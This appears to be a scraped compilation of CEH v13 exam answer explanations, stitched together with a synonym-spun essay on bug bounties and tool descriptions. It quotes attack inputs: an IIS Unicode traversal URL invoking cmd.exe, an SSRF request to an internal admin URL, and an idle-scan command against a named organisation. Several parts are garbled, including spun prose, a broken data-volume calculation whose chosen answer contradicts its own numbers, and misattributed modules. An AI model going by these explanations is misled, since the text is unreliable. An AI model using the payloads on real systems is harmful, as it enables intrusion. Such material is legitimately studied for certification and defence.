Essentially, most hackers are not creating a lot of cash on these platforms, and really few square measure creating enough to switch a full time wage (plus they do not have advantages like vacation days, insurance, and retirement planning).

What square measure the disadvantages of bug bounty programs for organizations?

These programs square measure solely helpful if the program ends up in the companies realizeing issues that they weren’t able to find themselves (and if they’ll fix those problems)!

If the companies is not mature enough to be able to quickly rectify known problems, a bug bounty program is not the right alternative for his or her companies.

Also, any bug bounty program is probably going to draw in an outsized range of submissions, several of which can not be high-quality submissions. a corporation must be ready to cope with the exaggerated volume of alerts, and also the risk of a coffee signal to noise magnitude relation (essentially that it’s probably that they’re going to receive quite few unhelpful reports for each useful report).

Additionally, if the program does not attract enough participants (or participants with the incorrect talent set, and so participants are not able to establish any bugs), the program is not useful for the companies.

The overwhelming majority of bug bounty participants consider web site vulnerabilities (72%, per HackerOn), whereas solely a number of (3.5%) value more highly to seek for package vulnerabilities.

This is probably because of the actual fact that hacking in operation systems (like network hardware and memory) needs a big quantity of extremely specialised experience. this implies that firms may even see vital come on investment for bug bounties on websites, and not for alternative applications, notably those that need specialised experience.

This conjointly implies that organizations which require to look at AN application or web site among a selected time-frame may not need to rely on a bug bounty as there is no guarantee of once or if they receive reports.

Finally, it are often probably risky to permit freelance researchers to try to penetrate your network. this could end in public speech act of bugs, inflicting name harm within the limelight (which could end in individuals not eager to purchase the organizations’ product or service), or speech act of bugs to additional malicious third parties, United Nations agency may use this data to focus on the organization.

In CEH v13 Module 01: Information Security Controls, the Remote Access Policy is defined as the guideline that governs:

Which remote access methods (VPNs, modems, RDP, etc.) are permitted.

Requirements for authentication and encryption.

Who is authorized to use them and under what conditions.

In This Case:

The use of a dial-out modem is considered a remote access method, especially if it bypasses the corporate firewall.

The analyst needs to check whether such remote access is permitted, and under what security controls.

In an SOA (Start of Authority) record, the fifth value represents the “Expire” interval — the time a secondary DNS server will keep trying to contact the primary server before considering the zone data stale or invalid.

SOA Format:

SOA Primary-NS Hostmaster (Serial Refresh Retry Expire Minimum-TTL)

Given SOA:

(200302028 3600 3600 604800 3600)

Serial: 200302028

Refresh: 3600 seconds

Retry: 3600 seconds

Expire: 604800 seconds = 7 days = 1 week

Minimum TTL: 3600

So, if the secondary DNS cannot contact the primary for 604800 seconds (1 week), it will stop serving that zone’s data.

Comprehensive and Detailed Explanation:

Blind SQL injection is used when the application does not return errors or display query results. In such cases, attackers use inference methods such as:

Boolean-based queries

Time-based queries (e.g., using SLEEP or WAITFOR DELAY)

Elliot’s use of timing delays indicates a time-based blind SQL injection.

From CEH v13 Courseware:

Module 10: Web Application Hacking → SQL Injection Types

In CEH v13 Module 03: Scanning Networks, stealth scanning refers to a method of scanning that avoids detection by not completing the TCP handshake.

-sS = TCP SYN scan (Stealth scan)

Sends SYN packet.

If SYN-ACK is returned, the port is open; then a RST is sent back instead of completing handshake.

Harder to detect via IDS/IPS.

Option Analysis:

A. -sM: TCP Maimon scan (rarely used).

B. -sU: UDP scan.

C. -sS: Stealth SYN scan.

D. -sT: TCP Connect scan (not stealthy).

JXplorer could be a cross platform LDAP browser and editor. it’s a standards compliant general purpose LDAP client which will be used to search, scan and edit any commonplace LDAP directory, or any directory service with an LDAP or DSML interface.

It is extremely flexible and can be extended and custom in a very number of the way. JXplorer is written in java, and also the source code and source code build system ar obtainable via svn or as a packaged build for users who wish to experiment or any develop the program.

JX is is available in 2 versions; the free open source version under an OSI Apache two style licence, or within the JXWorkBench Enterprise bundle with inbuilt reporting, administrative and security tools.

JX has been through a number of different versions since its creation in 1999; the foremost recent stable release is version 3.3.1, the August 2013 release.

JXplorer could be a absolutely useful LDAP consumer with advanced security integration and support for the harder and obscure elements of the LDAP protocol. it’s been tested on Windows, Solaris, linux and OSX, packages are obtainable for HPUX, AIX, BSD and it should run on any java supporting OS.

Netcat does not support encryption natively. To securely transmit data over the network, the attacker must use a variant like Cryptcat, which adds symmetric encryption to standard netcat functionality.

From CEH v13 Courseware:

Module 8: Sniffing and Secure Communication

CEH v13 Study Guide states:

“Cryptcat is a netcat clone that supports encryption. For secure file transfers or remote shell access, cryptcat is the recommended tool.”

Incorrect Options:

A/B/C: These are invalid or non-existent netcat parameters.

If SNMP access is restricted to specific IP addresses (e.g., 192.168.1.0/24), you can bypass access controls by:

Spoofing the source IP to fall within that allowed range.

Using a SNMP set request to instruct the device (e.g., to copy its configuration to a TFTP server).

This is a classic SNMP spoofing attack.

From CEH v13 Courseware:

Module 4: Enumeration → SNMP Enumeration Attacks

Implementing regular firmware updates for all IoT devices is the primary recommendation to prevent DDoS attacks on the smart city project. Firmware updates can fix security vulnerabilities, patch bugs, and improve performance of the IoT devices, making them less susceptible to malware infections and botnet recruitment12. Firmware updates can also enable new security features, such as encryption, authentication, and firewall, that can protect the IoT devices from unauthorized access and data theft3. Firmware updates should be done automatically or remotely, without requiring user intervention, to ensure timely and consistent security across the IoT network4.

The other options are not as effective or feasible as firmware updates for the following reasons:

B. Deploying network intrusion detection systems (IDS) across the IoT network can help detect and alert DDoS attacks, but not prevent them. IDS can monitor network traffic and identify malicious patterns, such as high volume, spoofed IP addresses, or unusual protocols, that indicate a DDoS attack5. However, IDS cannot block or mitigate the attack, and may even be overwhelmed by the flood of traffic, resulting in false positives or missed alerts. Moreover, deploying IDS across a vast network of IoT devices can be costly, complex, and resource-intensive, as it requires dedicated hardware, software, and personnel.

C. Establishing strong, unique passwords for each IoT device can prevent unauthorized access and brute-force attacks, but not DDoS attacks. Passwords can protect the IoT devices from being compromised by hackers who try to guess or crack the default or weak credentials. However, passwords cannot prevent DDoS attacks that exploit known or unknown vulnerabilities in the IoT devices, such as buffer overflows, command injections, or protocol flaws. Moreover, establishing and managing strong, unique passwords for each IoT device can be challenging and impractical, as it requires user awareness, memory, and effort.

D. Implementing IP address whitelisting for all IoT devices can restrict network access and communication to trusted sources, but not DDoS attacks. IP address whitelisting can filter out unwanted or malicious traffic by allowing only the predefined IP addresses to connect to the IoT devices. However, IP address whitelisting cannot prevent DDoS attacks that use spoofed or legitimate IP addresses, such as reflection or amplification attacks, that bypass the whitelisting rules. Moreover, implementing IP address whitelisting for all IoT devices can be difficult and risky, as it requires constant updating, testing, and monitoring of the whitelist, and may block legitimate or emergency traffic by mistake.

A vulnerability scan identifies known vulnerabilities by comparing system configurations and software versions against a database. It is mostly passive and does not confirm if vulnerabilities are exploitable.

Penetration testing, however, involves simulating real-world attacks. It attempts to actively exploit vulnerabilities, escalate privileges, and access sensitive data, offering a more realistic view of risk.

Reference – CEH v13 Official Study Guide:

Module 1: Introduction to Ethical Hacking

Quote:

“A penetration test goes beyond vulnerability identification by actively exploiting weaknesses to assess the actual risk and potential impact to the organization.”

Incorrect Options:

A. Scans do more than port scanning.

C. Penetration testing is often manual and detailed.

D. The difference is methodology, not just database size.

===========

Passive sniffing refers to listening to or capturing network traffic without sending any packets or altering the communication stream. The attacker’s system operates in "promiscuous mode" to monitor all traffic flowing through the network segment. This technique is mostly used in environments like hub-based or unencrypted Wi-Fi networks, where traffic is visible to all systems.

According to the CEH v13 Official Courseware, Module 08: Sniffing, under the subsection "Passive Sniffing", the following capabilities are associated with passive sniffing:

Capturing unencrypted credentials (usernames and passwords)

Identifying protocols, services, IP addresses, and hostnames

Monitoring HTTP sessions, cookies, and other clear-text traffic

Gathering detailed information for fingerprinting and enumeration

Exporting traffic to PCAPs for forensic and offline analysis

However, passive sniffing does not involve any active interference with the traffic. Therefore, actions like “modifying and replaying” packets require an attacker to craft and inject packets into the network — this is considered active sniffing or traffic manipulation, which is out of scope for passive techniques.

Thus:

Option A: Valid for passive sniffing (host discovery via captured traffic)

Option B: Invalid for passive sniffing (requires active traffic manipulation)

Option C: Valid (if data is unencrypted)

Option D: Valid (captures traffic for offline review)

Reference – CEH v13 Official Courseware:

Module 08: Sniffing

Section: “Passive Sniffing vs Active Sniffing”

Study Guide Pages: Usually found under “Types of Sniffing Techniques”

CEH iLabs/Engage Scenarios: Packet capture and Wireshark lab modules

Comprehensive and Detailed Explanation:

The correct file name is /var/log/auth.log (not auth.fesg). “auth.fesg” is a typo or does not exist by default in Linux systems.

Linux login records include:

/var/log/auth.log – authentication logs

/var/log/wtmp – records login sessions

/var/log/btmp – records failed logins

/var/log/user.log – logs user-level messages (optional)

Therefore, B is not a valid log file.

From CEH v13 Courseware:

Module 6: System Hacking → Covering Tracks in Linux

https://en.wikipedia.org/wiki/Network_Time_Protocol

The Network Time Protocol (NTP) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data networks.

NTP is intended to synchronize all participating computers within a few milliseconds of Coordinated Universal Time (UTC). It uses the intersection algorithm, a modified version of Marzullo's algorithm, to select accurate time servers and is designed to mitigate variable network latency effects. NTP can usually maintain time to within tens of milliseconds over the public Internet and achieve better than one millisecond accuracy in local area networks. Asymmetric routes and network congestion can cause errors of 100 ms or more.

The protocol is usually described in terms of a client-server model but can easily be used in peer-to-peer relationships where both peers consider the other to be a potential time source. Implementations send and receive timestamps using the User Datagram Protocol (UDP) on port number 123.

Active Online Attacks: Hash Injection/Pass-the-Hash (PtH) Attack A hash injection/PtH attack allows an attacker to inject a compromised hash into a local session and use the hash to validate network resources The attacker finds and extracts a logged-on domain admin account hash The attacker uses the extracted hash to log on to the domain controller

The scenario describes a cryptographic attack where the attacker (in this case, the student) uses a predefined list of commonly used passwords to try and unlock a secured PDF document. This technique is known as a Dictionary Attack.

According to the CEH v13 Official Courseware:

A Dictionary Attack is defined as “a method of breaking passwords by trying out a predefined list of words (dictionary) commonly used as passwords.”

Unlike a brute-force attack, which tries every possible character combination, a dictionary attack relies on known or likely password choices, which makes it faster but less exhaustive.

Dictionary attacks are commonly used against encrypted or password-protected files, login forms, and even hashes.

Relevant distinctions from other options:

A. Man-in-the-middle attack involves intercepting communication between two parties and is unrelated to offline password cracking.

B. Brute-force attack tries all possible character combinations, not just a list of known or common passwords.

D. Session hijacking involves taking over a user session and is unrelated to document password cracking.

Reference – CEH v13 Official Study Materials:

Module 20: Cryptography

Section: "Cryptanalysis Techniques"

Subsection: "Dictionary Attack vs. Brute-force Attack"

CEH v13 eBook or Study Guide — look for Table: “Types of Password Attacks” under “Cryptography Attack Vectors”

This exact technique is illustrated in CEH v13 labs involving John the Ripper, Hydra, and password recovery tools.

To ensure both confidentiality and non-repudiation for secure email communication, you need to use a combination of symmetric and asymmetric cryptography. Symmetric encryption is a method of encrypting and decrypting data using the same secret key, which is faster and more efficient than asymmetric encryption. Asymmetric encryption is a method of encrypting and decrypting data using a pair of keys: a public key and a private key, which are mathematically related but not identical. Asymmetric encryption can provide authentication, integrity, and non-repudiation, as well as key distribution.

The cryptographic technique that would best serve the purpose is to apply asymmetric encryption with RSA and use the private key for signing. RSA is a widely used algorithm for asymmetric encryption, which is based on the difficulty of factoring large numbers. RSA can be used to encrypt data, as well as to generate digital signatures, which are a way of proving the identity and authenticity of the sender and the integrity of the message.

The steps to implement this technique are as follows1:

Generate a pair of keys for each user: a public key and a private key. The public key can be shared with anyone, while the private key must be kept secret and protected by the user.

When a user wants to send an email to another user, they first encrypt the email content with a symmetric key, such as AES, which is a strong and efficient algorithm for symmetric encryption. The symmetric key is then encrypted with the recipient’s public key, using RSA. The encrypted email and the encrypted symmetric key are then sent to the recipient.

The sender also generates a digital signature for the email, using their private key and a hash function, such as SHA-256, which is a secure and widely used algorithm for generating hashes. A hash function is a mathematical function that takes any input and produces a fixed-length output, called a hash or a digest, that uniquely represents the input. A digital signature is a hash of the email that is encrypted with the sender’s private key, using RSA. The digital signature is then attached to the email and sent to the recipient.

When the recipient receives the email, they first decrypt the symmetric key with their private key, using RSA. They then use the symmetric key to decrypt the email content, using AES. They also verify the digital signature by decrypting it with the sender’s public key, using RSA, and comparing the resulting hash with the hash of the email, using the same hash function. If the hashes match, it means that the email is authentic and has not been tampered with.

Using this technique, the email communication is secure because:

The confidentiality of the email content is ensured by the symmetric encryption with AES, which is hard to break without knowing the symmetric key.

The symmetric key is also protected by the asymmetric encryption with RSA, which is hard to break without knowing the recipient’s private key.

The non-repudiation of the email is ensured by the digital signature with RSA, which is hard to forge without knowing the sender’s private key.

The digital signature also provides authentication and integrity of the email, as it proves that the email was sent by the sender and has not been altered in transit.

A Multipartite Virus is designed to infect both the boot sector and executable files of a system. This makes it more complex and harder to remove than viruses that target only one area. It can spread in multiple ways and activate under different conditions depending on whether the infected file or boot sector is accessed first.

CEH v13 Official Curriculum states:

“Multipartite viruses infect both the boot sector and program files. They are difficult to remove and can reinfect the system unless both locations are cleaned simultaneously.”

Incorrect Options:

A. Polymorphic viruses change their code signatures but do not necessarily target both boot and executable areas.

B. Stealth viruses conceal their presence, often by intercepting system calls.

D. Macro viruses infect macro-enabled files, typically in Microsoft Office documents.

Reference – CEH v13 Guide:

Module 06: Malware Threats

Topic: Types of Malware – Multipartite Viruses

The TCP three-way handshake is the foundational mechanism used to establish a reliable connection between two devices. The sequence is as follows:

The client sends a SYN (synchronize) packet to the server to initiate the connection.

The server replies with a SYN-ACK (synchronize-acknowledge) packet.

The client sends an ACK (acknowledge) packet back to the server.

Therefore, the connection starts with a SYN packet from the client.

In CEH v13 Module 12: Hacking Web Applications, SOAP (Simple Object Access Protocol) is discussed as a protocol that allows web service communication using XML-based messages.

Correct SOAP Characteristics:

Structured model for data exchange, used in SOAP envelopes.

Built on XML format.

Can operate over multiple application layer protocols, not just HTTP (e.g., SMTP, FTP, JMS).

Option B is incorrect because:

While SOAP most commonly uses HTTP, it is not limited to it. SOAP is protocol-independent at the transport layer.

A digital signature is created by hashing the document and encrypting that hash with the sender’s private key. Since the hash is specific to the original content, any change to the document invalidates the signature, making it non-transferable to another document.

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Quote:

“Digital signatures are based on hashing the document and signing the digest with the private key. This makes each signature unique to the document and ensures tamper resistance.”

Incorrect Options:

B. Incorrect — signature is tied to one document.

C. Hashes are not plain; they are encrypted.

D. Keys can be reused, but signatures are document-specific.

This log clearly shows an HTTP GET request attempting to exploit a web server using a directory traversal attack with Unicode encoding:

The URL contains:/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:

%c0%af is a known Unicode-encoded sequence used to bypass input validation filters.It translates to the forward slash character “/” when interpreted by vulnerable versions of Microsoft IIS (specifically IIS 4.0 and 5.0).

This type of attack attempts to:

Traverse out of the web root directory (via encoded ../ sequences)

Access cmd.exe in the Windows system32 directory

Execute operating system commands such as dir c: (list contents of drive C)

From CEH v13 Official Courseware:

Module 14: Hacking Web Servers

Topic: Unicode Directory Traversal Vulnerability (IIS-specific)

CEH v13 Study Guide states:

“A Unicode Directory Traversal Attack takes advantage of improper input sanitization by encoding traversal characters (../) as Unicode (e.g., %c0%af). This bypasses input filters and accesses restricted directories such as system32.”

Incorrect Options:

A. Hexcode Attack: Not a formal classification; here Unicode encoding is used.

B. Cross-Site Scripting: Involves injecting scripts into a web page, unrelated to filesystem traversal.

C. Multiple Domain Traversal: Not a valid or recognized attack type.

ARP (Address Resolution Protocol) spoofing/poisoning is a common attack in which an attacker sends falsified ARP messages to associate their MAC address with the IP address of another host. To defend against ARP spoofing:

A. Port Security: Limits the number of MAC addresses per port; prevents MAC flooding and spoofing.

B. ARPwatch: Monitors ARP traffic and alerts on unusual changes.

D. Static ARP Entries: Prevent ARP responses from overwriting MAC-IP mappings, effective in small networks.

From CEH v13 Official Courseware:

Module 8: Sniffing

Module 11: Session Hijacking

Module 20: Network Security

Incorrect Options:

C: Firewalls operate at Layer 3+; ARP is a Layer 2 protocol, so firewalls don’t prevent ARP spoofing.

E: Static IP addresses do not prevent ARP poisoning.

Open-source intelligence (OSINT) refers to the process of collecting and analyzing information from publicly available sources. This can include social media, websites, press releases, job boards, government databases, and more.

OSINT is a crucial part of the reconnaissance phase in ethical hacking and penetration testing, where attackers or analysts gather intel without directly interacting with the target system.

Reference – CEH v13 Official Study Guide:

Module 2: Footprinting and Reconnaissance

Quote:

“OSINT is derived from public sources and includes blogs, websites, public records, and social networks. It helps attackers or analysts understand the target’s digital footprint.”

Incorrect Options Explained:

B. “Real intelligence” is not a cybersecurity term.

C. Social intelligence refers to interpersonal awareness, not cyber reconnaissance.

D. Human intelligence (HUMINT) involves person-to-person intel, not publicly available data.

===========

A macro virus is a virus that is written in a macro language: a programming language which is embedded inside a software application (e.g., word processors and spreadsheet applications). Some applications, such as Microsoft Office, allow macro programs to be embedded in documents such that the macros are run automatically when the document is opened, and this provides a distinct mechanism by which malicious computer instructions can spread. (Wikipedia)

NB: The virus Melissa is a well-known macro virus we could find attached to word documents.

A proxy server acts as a gateway between you and therefore the internet. It’s an intermediary server separating end users from the websites they browse. Proxy servers provide varying levels of functionality, security, and privacy counting on your use case, needs, or company policy.

If you’re employing a proxy server, internet traffic flows through the proxy server on its thanks to the address you requested. A proxy server is essentially a computer on the web with its own IP address that your computer knows. once you send an internet request, your request goes to the proxy server first. The proxy server then makes your web request on your behalf, collects the response from the online server, and forwards you the online page data so you’ll see the page in your browser.

https://en.wikipedia.org/wiki/Kismet_(software)

Kismet is a network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic.

The hacker could have used the technique of manipulating white spaces in SQL queries to bypass signature detection. This technique involves inserting, removing, or replacing white spaces in SQL queries with other characters or symbols that are either ignored or interpreted as white spaces by the SQL engine, but not by the signature-based IDS. This way, the hacker can alter the appearance of the query and evade the pattern matching of the IDS, while preserving the functionality and logic of the query. For example, the hacker could replace the space character with a tab character, a newline character, a comment symbol, or a URL-encoded value, such as %2012.

The other options are not correct for the following reasons:

A. Utilizing the char encoding function to convert hexadecimal and decimal values into characters that pass-through SQL engine parsing: This option is not feasible because the char encoding function is not supported by all SQL engines, and it may not be able to convert all hexadecimal and decimal values into valid characters. Moreover, the char encoding function may not be able to bypass the signature detection of the IDS, as it may still match the keywords or syntax of the SQL query3.

B. Using the URL encoding method to replace characters with their ASCII codes in hexadecimal form: This option is not effective because the URL encoding method is not applicable to SQL queries, as it is designed for encoding special characters in URLs. The URL encoding method may not be able to replace all characters with their ASCII codes, and it may not be able to preserve the functionality and logic of the SQL query. Furthermore, the URL encoding method may not be able to evade the signature detection of the IDS, as it may still match the keywords or syntax of the SQL query4.

C. Implementing sophisticated matches such as “OR ‘john’ = john" in place of classical matches like “OR 1-1”: This option is not advanced because it is a common and basic SQL injection technique that does not involve any evasion or obfuscation. This technique involves injecting a logical expression that is always true, such as “OR ‘john’ = john” or “OR 1-1”, to bypass the authentication or authorization checks of the SQL query. However, this technique may not be able to bypass the signature detection of the IDS, as it may easily match the keywords or syntax of the SQL query.

One of the most important actions to secure a web server from common threats is to regularly update and patch the server software. This includes the operating system, the web server software, the database software, and any other applications or frameworks that run on the server. Updating and patching the server software can fix known vulnerabilities, bugs, or errors that could be exploited by attackers to compromise the server or the website. Failing to update and patch the server software can expose the server to common attacks, such as SQL injection, cross-site scripting, remote code execution, denial-of-service, etc.

Installing a web application firewall, limiting the number of concurrent connections to the server, and encrypting the company’s website with SSL/TLS are also good practices to secure a web server, but they are not as critical as updating and patching the server software. A web application firewall can filter and block malicious requests, but it cannot prevent attacks that exploit unpatched vulnerabilities in the server software. Limiting the number of concurrent connections to the server can prevent overload and improve performance, but it cannot stop attackers from sending malicious requests or payloads. Encrypting the company’s website with SSL/TLS can protect the data in transit between the server and the client, but it cannot protect the data at rest on the server or prevent attacks that target the server itself.

Therefore, the priority action to secure a web server from common threats is to regularly update and patch the server software.

LM hashes are split into two 16-character halves (each representing 7-character blocks). If the original password is less than 8 characters, the second half of the LM hash will always be a constant:

"AAD3B435B51404EE"

This known value is used to pad the second half of the password, and it signals that the original password was 7 characters or fewer.

In the options:

B. 44EFCE164AB921CQAAD3B435B51404EE ← ends with AAD3B435B51404EE → < 8 chars

E. B757BF5C0D87772FAAD3B435B51404EE ← also ends with AAD3B435B51404EE → < 8 chars

From CEH v13 Official Courseware:

Module 6: Malware Threats → LM Hash Weaknesses

Public-key cryptography, or asymmetric cryptography, is a cryptographic system that uses pairs of keys: public keys (which may be known to others), and private keys (which may never be known by any except the owner). The generation of such key pairs depends on cryptographic algorithms which are based on mathematical problems termed one-way functions. Effective security requires keeping the private key private; the public key can be openly distributed without compromising security.

In such a system, any person can encrypt a message using the intended receiver's public key, but that encrypted message can only be decrypted with the receiver's private key. This allows, for instance, a server program to generate a cryptographic key intended for a suitable symmetric-key cryptography, then to use a client's openly-shared public key to encrypt that newly generated symmetric key. The server can then send this encrypted symmetric key over an insecure channel to the client; only the client can decrypt it using the client's private key (which pairs with the public key used by the server to encrypt the message). With the client and server both having the same symmetric key, they can safely use symmetric key encryption (likely much faster) to communicate over otherwise-insecure channels. This scheme has the advantage of not having to manually pre-share symmetric keys (a fundamentally difficult problem) while gaining the higher data throughput advantage of symmetric-key cryptography.

With public-key cryptography, robust authentication is also possible. A sender can combine a message with a private key to create a short digital signature on the message. Anyone with the sender's corresponding public key can combine that message with a claimed digital signature; if the signature matches the message, the origin of the message is verified (i.e., it must have been made by the owner of the corresponding private key).

Public key algorithms are fundamental security primitives in modern cryptosystems, including applications and protocols which offer assurance of the confidentiality, authenticity and non-repudiability of electronic communications and data storage. They underpin numerous Internet standards, such as Transport Layer Security (TLS), S/MIME, PGP, and GPG. Some public key algorithms provide key distribution and secrecy (e.g., Diffie–Hellman key exchange), some provide digital signatures (e.g., Digital Signature Algorithm), and some provide both (e.g., RSA). Compared to symmetric encryption, asymmetric encryption is rather slower than good symmetric encryption, too slow for many purposes. Today's cryptosystems (such as TLS, Secure Shell) use both symmetric encryption and asymmetric encryption.

The total data extracted by the attacker is E=xyz’u’, where x is the number of tables, y is the number of columns, z is the number of records, and u is the number of SQL payloads. To maximize E, the attacker would want to choose the highest values of z and u, while keeping x and y constant. Therefore, the situation where z=600 and u=2 would result in the highest extracted data volume, as E=42600*2=9600. The other situations would result in lower values of E, as shown below:

A: E=42400*4=12800

B: E=42550*2=8800

D: E=42500*3=12000

The attacker uses UNION SELECT statements to combine the results from different tables and columns, and DBMS_XSLPPOCESSOR.READ2CLOB to read sensitive files from the database server12. These techniques can bypass input validation and pattern matching measures that are based on the application’s responses3.

Server-side request forgery (also called SSRF) is a net security vulnerability that allows an assaulter to induce the server-side application to make http requests to associate arbitrary domain of the attacker’s choosing.

In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services among the organization’s infrastructure, or to external third-party systems.

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with different back-end systems that aren’t directly reachable by users. These systems typically have non-routable private informatics addresses. Since the back-end systems normally ordinarily protected by the topology, they typically have a weaker security posture. In several cases, internal back-end systems contain sensitive functionality that may be accessed while not authentication by anyone who is able to act with the systems.

In the preceding example, suppose there’s an body interface at the back-end url https://192.168.0.68/admin. Here, an attacker will exploit the SSRF vulnerability to access the executive interface by submitting the following request:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118

stockApi=http://192.168.0.68/admin

The most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold. This option works as follows:

The Cyber Kill Chain Methodology is a framework that describes the stages of a cyberattack from the perspective of the attacker. It helps defenders to understand the attacker’s objectives, tactics, and techniques, and to design effective countermeasures. The Cyber Kill Chain Methodology consists of seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives12.

The delivery stage is the third stage in the Cyber Kill Chain Methodology, and it involves sending or transmitting the weaponized payload to the target system. The delivery stage can use various methods, such as email attachments, web links, removable media, or network protocols. The delivery stage aims to reach the target system and bypass any security controls, such as firewalls, antivirus, or email filters12.

The exploitation stage is the fourth stage in the Cyber Kill Chain Methodology, and it involves executing the malicious payload on the target system. The exploitation stage can use various techniques, such as buffer overflows, code injection, or privilege escalation. The exploitation stage aims to exploit a vulnerability or a weakness in the target system and gain access to its resources, such as files, processes, or memory12.

The installation stage is the fifth stage in the Cyber Kill Chain Methodology, and it involves installing a backdoor or a malware on the target system. The installation stage can use various tools, such as rootkits, trojans, or ransomware. The installation stage aims to establish a foothold on the target system and maintain persistence, which means to survive reboots, updates, or scans12.

Therefore, the most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold, because:

This action follows the logical sequence of the Cyber Kill Chain Methodology, as it is the next stage after the delivery stage.

This action is consistent with the attacker’s goal, as it allows the attacker to gain access and control over the target system and prepare for further actions.

This action is feasible, as the attacker has already delivered the malicious payload to the target system and may have bypassed some security controls.

The other options are not as probable as option B for the following reasons:

A. The attacker will attempt to escalate privileges to gain complete control of the compromised system: This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the exploitation stage or the installation stage. Privilege escalation is a method of increasing the level of access or permissions on a system, such as from a normal user to an administrator. Privilege escalation can help the attacker to gain complete control of the compromised system, but it is not a mandatory step, as the attacker may already have sufficient privileges or may use other techniques to achieve the same goal12.

C. The attacker will initiate an active connection to the target system to gather more data: This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the command and control stage or the actions on objectives stage. An active connection is a communication channel that allows the attacker to send commands or receive data from the target system, such as a remote shell or a botnet. An active connection can help the attacker to gather more data from the target system, but it is not a necessary step, as the attacker may already have enough data or may use other techniques to obtain more data12.

D. The attacker will start reconnaissance to gather as much information as possible about the target: This option is not probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather the first stage. Reconnaissance is the process of collecting information about the target, such as its IP address, domain name, network structure, services, vulnerabilities, or employees. Reconnaissance is usually done before the delivery stage, as it helps the attacker to identify the target and plan the attack. Reconnaissance can be done again after the delivery stage, but it is not the most likely action, as the attacker may already have enough information or may focus on other actions12.

In CEH v13 Module 07: Evading IDS, Firewalls, and Honeypots, various honeypot detection techniques are discussed. One such method is time-based TCP fingerprinting, which is effective against Honeyd-based honeypots.

Honeyd Honeypots:

Lightweight, low-interaction honeypots.

Often respond with inconsistent or delayed TCP timestamps.

Can be fingerprinted by comparing round-trip time and TTL values to real systems.

Option Clarification:

A. VMware detection: Uses CPU/BIOS identifiers and MAC address patterns.

B. Honeyd detection: Correct — uses time-based TCP fingerprinting.

C. Snort_inline: A network-based IPS, not the context here.

D. Sebek: Used to monitor user-level activity, not related to TCP response timing.

Sending an email to a known non-existent user is a reconnaissance technique used to:

Analyze bounce-back (NDR) messages.

Discover the email server’s operating system, filtering behavior, internal mail routing, and directory structure.

Reveal technologies such as Exchange, Postfix, etc.

From CEH v13 Official Courseware:

Module 2: Footprinting and Reconnaissance

CEH v13 Study Guide states:

“Sending a message to an invalid address can reveal error messages or NDRs that leak internal system details, such as mail server versions, spam filtering technologies, and internal naming conventions.”

Incorrect Options:

A: Not applicable.

B/C: Not the purpose here.

E: Anti-virus testing requires a separate controlled method.

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs (personal digital assistant).

A multihomed firewall refers to a firewall with two or more network interfaces (NICs), each connected to different network segments. The purpose of a multihomed firewall is to allow filtering and segmentation of traffic between multiple network zones, such as:

External network (e.g., Internet)

Internal network (e.g., LAN)

To qualify as multihomed, the system must have at least two network interfaces. This allows it to sit between two networks and inspect/filter traffic passing through it.

Reference – CEH v13 Official Study Guide:

Module 13: Evading IDS, Firewalls, and Honeypots

Section: Firewall Architecture

Quote:

“A multihomed firewall is a system with two or more NICs connected to different networks, typically used to control traffic between internal and external networks. The minimum number of interfaces is two.”

Incorrect Options Explained:

A. 3 interfaces may be used in advanced setups (e.g., with a DMZ), but not the minimum.

B & C. 4 or 5 connections are not required unless designing more complex segmentation.

===========

Once a suitable zombie has been found, performing a scan is easy. Simply specify the zombie hostname to the -sI option and Nmap does the rest. Example 5.19 shows an example of Ereet scanning the Recording Industry Association of America by bouncing an idle scan off an Adobe machine named Kiosk.

Example 5.19. An idle scan against the RIAA

# nmap -Pn -p- -sI kiosk.adobe.com www.riaa.com

Starting Nmap ( http://nmap.org )

Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental

Nmap scan report for 208.225.90.120

(The 65522 ports scanned but not shown below are in state: closed)

Port       State       Service

21/tcp     open        ftp

25/tcp     open        smtp

80/tcp     open        http

111/tcp    open        sunrpc

135/tcp    open        loc-srv

443/tcp    open        https

1027/tcp   open        IIS

1030/tcp   open        iad1

2306/tcp   open        unknown

5631/tcp   open        pcanywheredata

7937/tcp   open        unknown

7938/tcp   open        unknown

36890/tcp  open        unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.47 seconds

Vulnerability scanning software is a tool that can help security analysts identify and prioritize known vulnerabilities in their systems and applications. However, it is not a perfect solution and has some limitations that need to be considered. One of the most critical limitations is that vulnerability scanning software is not immune to software engineering flaws that might lead to serious vulnerabilities being missed. This means that the software itself might have bugs, errors, or oversights that could affect its accuracy, reliability, or performance. For example, the software might:

Fail to detect some vulnerabilities due to incomplete or outdated databases, incorrect signatures, or insufficient coverage of the target system or application.

Produce false positives or false negatives due to misinterpretation of the scan results, incorrect configuration, or lack of context or validation.

Cause unintended consequences or damage to the target system or application due to intrusive or aggressive scanning techniques, such as exploiting vulnerabilities, modifying data, or crashing services.

Be vulnerable to attacks or compromise by malicious actors who could exploit its weaknesses, tamper with its functionality, or steal its data.

Therefore, the security analyst should be most cautious about this limitation of vulnerability scanning software, as it could lead to a false sense of security, missed opportunities for remediation, or increased exposure to threats. The security analyst should always verify the scan results, use multiple tools and methods, and update and patch the software regularly to mitigate this risk.

